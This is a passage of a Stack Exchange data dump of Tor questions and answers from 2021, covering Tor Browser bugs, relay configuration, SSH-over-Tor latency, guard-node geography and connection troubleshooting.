  <row Id="22092" PostTypeId="2" ParentId="15059" CreationDate="2021-02-28T13:00:18.327" Score="0" Body="&lt;p&gt;&lt;strong&gt;No and no.&lt;/strong&gt; Tor is not magic. It is just a way to conceal your IP address.&lt;/p&gt;&#xA;&lt;p&gt;Who else tried to do something like what you describe? Snapchat.&lt;/p&gt;&#xA;&lt;p&gt;Snapchat is proprietary software running on largely proprietary platforms. They should have a far better shot than you, but they hardly succeeded.&lt;/p&gt;&#xA;&lt;p&gt;I just searched for “snapchat screenshots” and this was the top (relevant) result: &lt;a href=&quot;https://fossbytes.com/how-to-take-screenshot-on-snapchat/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://fossbytes.com/how-to-take-screenshot-on-snapchat/&lt;/a&gt; It is a good post, describing many techniques to copy Snapchat posts without being detected.&lt;/p&gt;&#xA;&lt;p&gt;All of these techniques, and others, apply equally to what you describe.&lt;/p&gt;&#xA;&lt;p&gt;Basically, if you do not control your users’ computers, and you send information to those computers, you cannot control what happens to that information. And even if you do control those computers, you cannot stop your users from pointing their own cameras at their screens.&lt;/p&gt;&#xA;" OwnerUserId="31831" LastActivityDate="2021-02-28T13:00:18.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22093" PostTypeId="1" CreationDate="2021-02-28T13:31:44.547" Score="0" ViewCount="261" Body="&lt;p&gt;I went through all &lt;a href=&quot;https://github.com/PanagiotisDrakatos/T0rlib4j/tree/master/src/main/java/net/sf/T0rlib4j/samples&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/PanagiotisDrakatos/T0rlib4j/tree/master/src/main/java/net/sf/T0rlib4j/samples&lt;/a&gt; code, I read readme and searched internet for serveral hours but can't figure out how to make it work.&lt;/p&gt;&#xA;&lt;p&gt;My goal is to make my app access web via Tor network. This looks like only usable Java library today. Have you any idea how to use it?&lt;/p&gt;&#xA;&lt;p&gt;I've got Jsoup part to do the data mining, only thing left is how to make it go via Tor.&lt;/p&gt;&#xA;" OwnerUserId="31840" LastActivityDate="2022-03-15T13:06:55.540" Title="T0rlib4j - Make Java app access web via Tor" Tags="|proxy|connection|java|torify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22094" PostTypeId="2" ParentId="19197" CreationDate="2021-02-28T13:40:45.247" Score="0" Body="&lt;p&gt;You have not specified your threat model. But…&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There could be a security hole that bypasses the lock-screen or someone could know my password.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It sounds like you are worried about something much more serious than a busybody who stumbles across your laptop. There are probably threats that you and I have both missed, but here are two of the more obvious issues:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The procedure you describe is hard for people not used to it – which I am guessing is just about everyone. Anything that is hard is bad. People are less likely to do it to begin with and more likely to get it wrong when they do try to do it. And that, in itself, can be a security issue.&lt;/li&gt;&#xA;&lt;li&gt;Suppose someone guesses that you are suspending Tails sessions, perhaps by monitoring your network traffic, and also notices that you always remove the USB drive. This behaviour might be suspicious.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31831" LastActivityDate="2021-02-28T13:40:45.247" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22095" PostTypeId="2" ParentId="22080" CreationDate="2021-02-28T20:55:06.393" Score="1" Body="&lt;p&gt;Known issue: &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40328&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40328&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Version of Tor Browser is currently latest - 0.3.3-1.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;That's either severely outdated or not the Tor Browser version. Current TB version is 10.0.12.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Also, I guess as a result of this I can't visit GitHub website or see Google Captcha.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I do not know.&lt;/p&gt;&#xA;" OwnerUserId="31801" LastActivityDate="2021-02-28T20:55:06.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22096" PostTypeId="2" ParentId="8859" CreationDate="2021-03-01T08:05:12.123" Score="0" Body="&lt;p&gt;i modify torrc file but keeps reverting to {us}&lt;/p&gt;&#xA;&lt;p&gt;EntryNodes {uk} StrictNodes 1&#xA;ExitNodes {uk} StrictNodes 1&lt;/p&gt;&#xA;" OwnerUserId="31841" LastActivityDate="2021-03-01T08:05:12.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22097" PostTypeId="1" AcceptedAnswerId="22098" CreationDate="2021-03-01T14:40:43.227" Score="0" ViewCount="83" Body="&lt;p&gt;I can connect to my web hosting, with ease.&lt;/p&gt;&#xA;&lt;p&gt;Although, every single character I type into CLI seems to have a &lt;em&gt;0.5s&lt;/em&gt; delay, before actually getting input.&lt;/p&gt;&#xA;&lt;p&gt;Is it expected behavior, since I'm using Tor or what?&lt;/p&gt;&#xA;&lt;p&gt;This is my SSH config file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Host *.onion&#xA;        ProxyCommand nc -x localhost:9050 %h %p&#xA;&#xA;Host &amp;lt;domain&amp;gt;&#xA;        User &amp;lt;user&amp;gt;&#xA;        Hostname &amp;lt;hostname&amp;gt;&#xA;        Port 22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Other Details&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm using &lt;a href=&quot;https://github.com/DNSCrypt/dnscrypt-proxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnscrypt-proxy&lt;/a&gt;;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;whitelisted servers are located across the ocean;&lt;/li&gt;&#xA;&lt;li&gt;does it matter, at all?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31824" LastEditorUserId="31824" LastEditDate="2021-03-01T14:46:43.743" LastActivityDate="2021-03-01T15:35:16.547" Title="Is it expected to face slowness while while typing, in a SSH over Tor connection?" Tags="|ssh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22098" PostTypeId="2" ParentId="22097" CreationDate="2021-03-01T15:35:16.547" Score="0" Body="&lt;p&gt;Yes, this is expected due to the additional latency caused by sending your traffic through 6 relays around the world. Depending on what circuit you get, sometimes the latency will be smaller, and sometimes larger.&lt;/p&gt;&#xA;&lt;p&gt;If you don't need anonymity for your onion service, you may want to look into setting up a single-hop onion service (see &lt;code&gt;HiddenServiceSingleHopMode&lt;/code&gt; and &lt;code&gt;HiddenServiceNonAnonymousMode&lt;/code&gt; in the tor man page). This effectively will cause your circuit to use 4 relays instead of 6, reducing latency.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-03-01T15:35:16.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22100" PostTypeId="1" CreationDate="2021-03-02T12:15:54.143" Score="0" ViewCount="261" Body="&lt;p&gt;I spent a good amount of time editing my Tor configuration files to switch in between entry nodes and found that eventually after excluding all nodes, I was lastly routed through Kyrgyzstan. I only noticed a couple entry nodes that resided outside the 14Eyes/NATO, which led me to ask this question. It appears that most of the Tor nodes in general are in Europe and the US, however, I wonder if this will change in the future, where we might see more Asian, African, and South American countries getting their own entry nodes.&lt;/p&gt;&#xA;&lt;p&gt;Some part of me thinks this is all one large traffic correlation network lol that is just speculation at this point but I think it is kind of weird that we don't see more entry nodes in obscure countries.&lt;/p&gt;&#xA;" OwnerUserId="31838" LastActivityDate="2021-12-29T07:04:05.360" Title="What percentage/ratio of entry nodes reside in 14 Eyes or NATO affiliated countries?" Tags="|configuration|guard-node|traffic-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22101" PostTypeId="1" AcceptedAnswerId="22102" CreationDate="2021-03-02T15:57:19.580" Score="0" ViewCount="215" Body="&lt;p&gt;While extensions can deanonymize you in many ways, one of the worst ways they can expose you is if they connect to the internet but not over the Tor network and reveal your IP address. So would it hypothetically be possible for the Tor browser to forcefully redirect all connections made by the user's addons to keep them anonymous? If it is, will the Tor browser impliment this?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-02T17:21:18.600" LastActivityDate="2021-03-03T01:09:46.790" Title="Can Tor browser redirect extension trafic?" Tags="|tor-browser-bundle|deanonymization|connection|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22102" PostTypeId="2" ParentId="22101" CreationDate="2021-03-02T17:09:43.057" Score="0" Body="&lt;p&gt;Firefox already sends extensions traffic through the configured proxy. Not doing so doesn't really make sense.&lt;/p&gt;&#xA;&lt;p&gt;However, additionally Tor Browser does do more, to be even more sure that they don't go through anything other than the proxy: &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/#proxy-obedience&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/projects/torbrowser/design/#proxy-obedience&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And just to make sure that Tor Browser really did, I installed an extension that checked my IP address, which wasn't what I remembered my home IP address is.&lt;/p&gt;&#xA;&lt;p&gt;Edit: @Swangie. Well, one of our answers is wrong.&lt;/p&gt;&#xA;&lt;p&gt;The best I could find is this: &amp;quot;&lt;a href=&quot;https://support.mozilla.org/en-US/kb/connection-settings-firefox&quot; rel=&quot;nofollow noreferrer&quot;&gt;[A proxy] intercepts all requests to the Internet&lt;/a&gt;&amp;quot; also &amp;quot;Proxies are often part of corporate firewalls.&amp;quot; If Firefox didn't make addons use proxy they may be blocked by firewalls.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, an extension would probably use HTTP something which is proxied.&lt;br /&gt;&#xA;&amp;quot;We have verified that these settings and patches properly proxy HTTPS, OCSP, HTTP, FTP, gopher (now defunct), DNS, SafeBrowsing Queries, all JavaScript activity, including HTML5 audio and video objects, addon updates, WiFi geolocation queries, searchbox queries, XPCOM addon HTTPS/HTTP activity, WebSockets, and live bookmark updates. We have also verified that external protocol helpers, such as SMB URLs and other custom protocol handlers are all blocked. &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I found also this: &lt;a href=&quot;https://stackoverflow.com/questions/39582880/how-do-firefox-extensions-use-ip-address-with-anonymous-proxy-original-ip-may-b&quot;&gt;https://stackoverflow.com/questions/39582880/how-do-firefox-extensions-use-ip-address-with-anonymous-proxy-original-ip-may-b&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;One: Seems it isn't possible now that XPCOM has been retired from extensions: &lt;a href=&quot;https://discourse.mozilla.org/t/any-way-to-get-local-ip-address/21408&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://discourse.mozilla.org/t/any-way-to-get-local-ip-address/21408&lt;/a&gt;&lt;br /&gt;&#xA;Two: I'm not sure.&lt;br /&gt;&#xA;Three: &amp;quot;we patch OCSP and PKIX code to prevent any use of the non-proxied command-line tool utility functions from being functional while linked in to the browser&amp;quot;.&lt;br /&gt;&#xA;Four: I'm not sure.&lt;/p&gt;&#xA;&lt;p&gt;I would also have to point at the fact that the design document is 2-3 years old and only a draft.&lt;/p&gt;&#xA;" OwnerUserId="31801" LastEditorUserId="31801" LastEditDate="2021-03-03T01:09:46.790" LastActivityDate="2021-03-03T01:09:46.790" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="22103" PostTypeId="2" ParentId="22100" CreationDate="2021-03-03T01:49:41.150" Score="0" Body="&lt;p&gt;27 NATO countries have guard nodes (only 3 don't have). Combining the guard probability for each NATO country gives a 89.3939% likely to get a guard in a NATO country.&lt;/p&gt;&#xA;&lt;p&gt;New Zealand has only 1 guard so the likelihood of getting a guard hosted there is less than 0.0000%. Otherwise you are 18.6385% likely to get a Four eyes guard. You are 43.8656% likely to get an Eight eyes guard. You are 81.3584% likely to get a 13 eyes guard.&lt;/p&gt;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&lt;p&gt;2963 guard nodes are hosted in NATO countries. Out of ~3600. That means 82.3056% of guard nodes are hosted in NATO countries.&lt;/p&gt;&#xA;&lt;p&gt;992 guard nodes are hosted in five eyes countries (27.5556%). 1671 guard nodes are hosted in nine eyes countries (46.4167%). 2694 guard nodes are hosted in 14 eyes countries (74.8333%).&lt;/p&gt;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&lt;p&gt;You can see more on the &lt;a href=&quot;https://metrics.torproject.org/rs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;relay search website&lt;/a&gt;, the specific query and settings I used was this: &lt;a href=&quot;https://metrics.torproject.org/rs.html#aggregate/cc/flag:guard%20&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#aggregate/cc/flag:guard%20&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31801" LastEditorUserId="31801" LastEditDate="2021-03-03T10:05:17.167" LastActivityDate="2021-03-03T10:05:17.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22104" PostTypeId="1" AcceptedAnswerId="22106" CreationDate="2021-03-03T08:02:39.163" Score="0" ViewCount="1134" Body="&lt;p&gt;It can still connect before yesterday.My system is windows&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;3/3/21, 06:55:12.307 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;3/3/21, 06:55:12.307 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;3/3/21, 06:55:12.307 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;3/3/21, 06:55:12.307 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;3/3/21, 06:55:12.307 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;3/3/21, 06:55:13.650 [NOTICE] Bootstrapped 5% (conn): Connecting to a relay&#xA;3/3/21, 06:56:37.840 [WARN] Problem bootstrapping. Stuck at 5% (conn): Connecting to a relay. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host 6A7551EEE18F78A9813096E82BF84F740D32B911 at 95.217.16.212:443)&#xA;3/3/21, 06:56:37.850 [WARN] 9 connections have failed:&#xA;3/3/21, 06:56:37.850 [WARN] 9 connections died in state connect()ing with SSL state (No SSL object)&#xA;3/3/21, 06:56:37.930 [WARN] Problem bootstrapping. Stuck at 5% (conn): Connecting to a relay. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 11; recommendation warn; host 7BE683E65D48141321C5ED92F075C55364AC7123 at 193.23.244.244:443)&#xA;3/3/21, 06:56:37.930 [WARN] 10 connections have failed:&#xA;3/3/21, 06:56:37.930 [WARN] 10 connections died in state connect()ing with SSL state (No SSL object)&#xA;3/3/21, 06:56:37.930 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;3/3/21, 06:56:37.930 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;3/3/21, 06:56:37.112 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;3/3/21, 06:58:10.927 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;3/3/21, 06:58:10.927 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;3/3/21, 06:58:10.927 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;3/3/21, 06:58:10.928 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;3/3/21, 06:58:10.928 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;3/3/21, 06:58:32.576 [WARN] Problem bootstrapping. Stuck at 5% (conn): Connecting to a relay. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 12; recommendation warn; host AC2BEDD0BAC72838EA7E6F113F856C4E8018ACDB at 176.10.107.180:9001)&#xA;3/3/21, 06:58:32.576 [WARN] 13 connections have failed:&#xA;3/3/21, 06:58:32.576 [WARN] 13 connections died in state connect()ing with SSL state (No SSL object)&#xA;3/3/21, 06:58:32.582 [WARN] Problem bootstrapping. Stuck at 5% (conn): Connecting to a relay. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 13; recommendation warn; host F2044413DAC2E02E3D6BCF4735A19BCA1DE97281 at 131.188.40.189:443)&#xA;3/3/21, 06:58:32.582 [WARN] 14 connections have failed:&#xA;3/3/21, 06:58:32.582 [WARN] 14 connections died in state connect()ing with SSL state (No SSL object)&#xA;3/3/21, 06:58:32.583 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150&#xA;3/3/21, 06:58:32.583 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;3/3/21, 06:58:32.583 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31846" LastActivityDate="2021-04-07T05:45:01.110" Title="my tor failed to establish a network connection" Tags="|help|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22105" PostTypeId="2" ParentId="1788" CreationDate="2021-03-03T09:28:37.890" Score="1" Body="&lt;p&gt;Isn't this Advertised bandwidth value calculated by the Tor network instead of defined by your torrc config file?&lt;/p&gt;&#xA;&lt;p&gt;When i have setup new relay, &lt;a href=&quot;https://metrics.torproject.org/rs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html&lt;/a&gt; shown &amp;quot;Advertised Bandwidth 0 B/s&amp;quot;, i think that this value is not always directly equal to the limits set in torrc file, at least in a first days after setting up new relay, see the &lt;a href=&quot;https://blog.torproject.org/lifecycle-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/lifecycle-new-relay&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A new relay, assuming it is reliable and has plenty of bandwidth, goes&#xA;through four phases: the unmeasured phase (days 0-3) where it gets&#xA;roughly no use, the remote-measurement phase (days 3-8) where load&#xA;starts to increase&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="10728" LastActivityDate="2021-03-03T09:28:37.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22106" PostTypeId="2" ParentId="22104" CreationDate="2021-03-03T12:13:51.967" Score="0" Body="&lt;p&gt;I downloaded Tor Alpha and used Snowflake,now the problem is solved. In some areas obfs4 or other bridge may have expired.&lt;/p&gt;&#xA;" OwnerUserId="31846" LastEditorUserId="31846" LastEditDate="2021-03-04T11:21:38.787" LastActivityDate="2021-03-04T11:21:38.787" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22107" PostTypeId="1" CreationDate="2021-03-03T17:32:23.080" Score="0" ViewCount="66" Body="&lt;p&gt;Couldnt find any answers online. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="31851" LastActivityDate="2021-08-12T16:01:05.093" Title="Can G-suite admins see browsing history when im using an onion browser" Tags="|onion-routing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22108" PostTypeId="2" ParentId="22064" CreationDate="2021-03-03T18:04:09.473" Score="1" Body="&lt;p&gt;It is possible to set your homepage to a &lt;code&gt;file://&lt;/code&gt; URL so the homepage can be loaded from a text or HTML file on your local computer (rather than a URL on the internet). If it is plain text, the links won't be clickable.&lt;/p&gt;&#xA;&lt;p&gt;When you open Tor, the new home page is used instead of the default Tor page.&lt;/p&gt;&#xA;&lt;p&gt;Make a simple HTML file with your bookmarks in it and point the home page to there (e.g. &lt;code&gt;file://C:/Users/username/Desktop/bookmarks.html&lt;/code&gt;). This does work in Tor on Windows 10. I would avoid using any remote resources (css, javascript) in that file and keep it all local if necessary.&lt;/p&gt;&#xA;&lt;p&gt;As for modifying the new tab page, that is more of a problem. It seems that the aboutTor.xhtml and torbutton extension are more integrated into the browser now. The extension is still used but it is now contained in the browser build. Firefox &lt;a href=&quot;https://support.mozilla.org/en-US/questions/1092024&quot; rel=&quot;nofollow noreferrer&quot;&gt;no longer supports&lt;/a&gt; a custom URL to be used for the new tab page. There are some extensions that can override this but some may not allow &lt;code&gt;file://&lt;/code&gt; URLs and only support http/https. Adding more extensions into Tor could introduce risks, so use with caution.&lt;/p&gt;&#xA;&lt;p&gt;If it is not too inconvenient, here's a workaround to the new tab page:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set the new tabs setting to &amp;quot;Blank Page&amp;quot; from &lt;code&gt;about:preferences&lt;/code&gt; &amp;gt;&amp;gt; Home&lt;/li&gt;&#xA;&lt;li&gt;Customize your toolbar to add a &amp;quot;Home&amp;quot; button&lt;/li&gt;&#xA;&lt;li&gt;When opening a new tab page, click the Home button to load your custom bookmark file set above&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This does introduce an extra click (to hit the home button after opening a new tab) but it may be a reasonable compromise for you.&lt;/p&gt;&#xA;&lt;p&gt;You can get as creative as you want with the bookmarks page but here's a very simple starter template you can use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;&#xA;  &amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;&#xA;    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1, shrink-to-fit=no&amp;quot;&amp;gt;&#xA;&#xA;    &amp;lt;title&amp;gt;Tor Bookmarks&amp;lt;/title&amp;gt;&#xA;  &amp;lt;/head&amp;gt;&#xA;  &amp;lt;body&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Bookmarks&amp;lt;/h1&amp;gt;&#xA;&#xA;    &amp;lt;h2&amp;gt;Category 1&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;https://example.com/&amp;quot;&amp;gt;Example.com&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;h2&amp;gt;Category 2&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;https://example.net/&amp;quot;&amp;gt;Example.net&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &#xA;  &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10070" LastActivityDate="2021-03-03T18:04:09.473" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22109" PostTypeId="2" ParentId="21100" CreationDate="2021-03-03T20:47:15.423" Score="2" Body="&lt;p&gt;It has just happened to me and &lt;code&gt;tor&lt;/code&gt; gave me useful piece of information in logs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Your server (xxx.xxx.xxx.xx:0) has not managed to confirm that its DirPort is reachable. Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What happened in my case was that I enabled DirPort on PRIVATE (RFC4193) address only together with NoAdvertise flag which obviously IS NOT reachable. Apparently it is not sufficient so the DirPort goes back to disabled state in my case.&lt;/p&gt;&#xA;&lt;p&gt;Check that both OrPort and DirPort are reachable.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2021-03-03T20:47:15.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22111" PostTypeId="2" ParentId="16756" CreationDate="2021-03-04T14:37:43.670" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;What would be the issue?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Logically, there are three possible answers:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;Facebook incorrectly recorded your logins.&lt;/em&gt; This seems unlikely; I am not aware of any reports of this.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Facebook detected one of your logins as coming from Portugal, despite you not being in Portugal.&lt;/em&gt; This was addressed by &lt;a href=&quot;https://tor.stackexchange.com/a/16757/31831&quot;&gt;cacahuatl’s answer&lt;/a&gt;: the most likely answer is that you logged in via a Tor circuit that exited in Portugal. To follow up on the comments on that answer: Tor Browser tries to make all users look the same &lt;em&gt;in every respect&lt;/em&gt;, not just disguise their IP address, so other information, such as the user agent, may also appear incorrect.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Facebook detected (correctly or incorrectly) someone else’s login as coming from Portugal.&lt;/em&gt; This leads to the second part of your question, discussed below.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Did someone try to hack my Facebook account via Tor Browser?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Based on your question, it is possible that someone tried to “hack” your Facebook account, but there is no reason to suppose that they used Tor Browser to do so. But as I write this, you have already accepted cacahuatl’s answer; hopefully that means answer 2 above was the correct one.&lt;/p&gt;&#xA;" OwnerUserId="31831" LastActivityDate="2021-03-04T14:37:43.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22112" PostTypeId="2" ParentId="22066" CreationDate="2021-03-04T15:03:42.530" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;But is anyone else unable to browse DuckDuckGo when they disable javascript/ turn security-level to safest.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Yes, I can confirm this issue occurs in the latest Tor Browser, version 10.0.13.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Building on &lt;a href=&quot;https://tor.stackexchange.com/a/22072/31831&quot;&gt;HackerNCoder’s answer&lt;/a&gt;, I also confirmed that resetting NoScript’s options (using NoScript’s “reset” option) enables the “noscript” option and that changing the Tor Browser security level resets all the options to Tor Browser’s values. Finally, enabling the “noscript” option gives us that familiar message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You are being redirected to the non-JavaScript site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;And DuckDuckGo works perfectly!&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Warning: Changing any Tor Browser options, including the NoScript options discussed above, reduces your anonymity.&lt;/strong&gt; This is because this makes you look different to other Tor Browser users, and anything that makes you look different can help identify you.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/new-release-tor-browser-10013&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser version 10.0.13&lt;/a&gt; was a bug fix specific to Linux. Presumably this is why it does not fix the NoScript bug discussed here. The next “normal” release should fix it.&lt;/p&gt;&#xA;" OwnerUserId="31831" LastEditorUserId="31831" LastEditDate="2021-03-05T00:35:41.457" LastActivityDate="2021-03-05T00:35:41.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22113" PostTypeId="2" ParentId="22027" CreationDate="2021-03-04T15:36:21.757" Score="1" Body="&lt;p&gt;The newest update to 10.0.13 corrected this behaviour.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, NoScript still doesn't set &lt;code&gt;javascript.enabled&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; when setting the security to &amp;quot;safer&amp;quot;, manual setting is needed through &lt;code&gt;about:config&lt;/code&gt; (and when going back to &amp;quot;safest&amp;quot;). But that's a minor inconvenience, possibly safer.&lt;/p&gt;&#xA;" OwnerUserId="8164" LastActivityDate="2021-03-04T15:36:21.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22114" PostTypeId="1" CreationDate="2021-03-04T21:01:15.793" Score="0" ViewCount="157" Body="&lt;p&gt;I'm modifying tor source code for research purposes and I want to modify concept of getting tor nodes list. Now, tor client is getting tor nodes from directory servers and I want to change it.&lt;/p&gt;&#xA;&lt;p&gt;My question is, where can I find piece of code where this process is done? My current version of tor is 0.4.5.6 cloned from git repository.&lt;/p&gt;&#xA;" OwnerUserId="31662" LastActivityDate="2022-03-30T04:10:10.993" Title="Getting tor nodes list" Tags="|source-code|research|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
